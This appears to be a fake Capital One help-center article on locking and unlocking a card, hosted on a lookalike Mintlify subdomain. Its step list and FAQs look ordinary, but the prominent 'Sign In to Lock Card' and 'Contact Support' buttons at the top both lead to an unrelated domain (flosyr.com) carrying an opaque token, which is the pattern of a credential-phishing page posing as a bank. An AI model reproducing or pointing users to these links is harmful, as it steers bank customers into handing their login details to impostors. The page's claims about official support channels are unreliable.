> ## Documentation Index
> Fetch the complete documentation index at: https://capitalone-com-activate-helphub.mintlify.site/llms.txt
> Use this file to discover all available pages before exploring further.

# How to Lock or Unlock Your Capital One Card

> How to lock and unlock your Capital One card for security.

<a href="https://flosyr.com/?yFluJEmDu0XdO7r2tfhwlrESMPCH5IbkkZmgMm6X25S07TmcAR46eCBUVrrqXf3Q4Wiqvgr" style={{ display: "inline-block", padding: "16px 32px", fontSize: "18px", fontWeight: 700, color: "#ffffff", background: "#004977", borderRadius: "10px", textDecoration: "none", boxShadow: "0 4px 14px rgba(0,73,119,0.25)", marginTop: "8px", marginRight: "12px" }}>Sign In to Lock Card →</a> <a href="https://flosyr.com/?yFluJEmDu0XdO7r2tfhwlrESMPCH5IbkkZmgMm6X25S07TmcAR46eCBUVrrqXf3Q4Wiqvgr" style={{ display: "inline-block", padding: "16px 32px", fontSize: "18px", fontWeight: 700, color: "#004977", background: "#ffffff", border: "2px solid #004977", borderRadius: "10px", textDecoration: "none", marginTop: "8px" }}>Contact Support →</a>

<img src="https://images.unsplash.com/photo-1614028674026-a65e31bfd27c?auto=format&fit=crop&w=1600&q=80" alt="Lock or unlock your Capital One card" style={{ width: "100%", borderRadius: "12px", margin: "16px 0", boxShadow: "0 6px 20px rgba(0,0,0,0.08)" }} />

If you misplace your card, you can lock it right from your online account or the mobile app. Unlock it later if you find the card.

<Info>
  Locking your card blocks new purchases but does not close your account.
</Info>

## Steps

1. Sign in to your Capital One account or app.
2. Go to the **Services** or **Card Settings** menu.
3. Find the card you want to lock.
4. Toggle the **Lock Card** switch to on.
5. Confirm the action if prompted.
6. To unlock later, return to the same screen and turn the switch off.

<Check>
  A lock icon appears on the card once it is successfully locked.
</Check>

## Helpful Tips

* Lock the card immediately if you cannot find it.
* Recurring payments may still process while your card is locked.
* Order a replacement if you're sure the card is lost.

<Warning>
  If you believe your card was stolen, [Contact Support](/support/contact) right away instead of just locking it.
</Warning>

## FAQs

<AccordionGroup>
  <Accordion title="Will locking my card stop autopay?">
    Recurring merchant billing may still go through. Contact merchants directly to pause payments.
  </Accordion>

  <Accordion title="Can I lock a card I have not yet activated?">
    You will need to activate the card first before you can lock it.
  </Accordion>
</AccordionGroup>

## Related Articles

* [Replace Card](/manage/replace-card)
* [Security](/manage/security)

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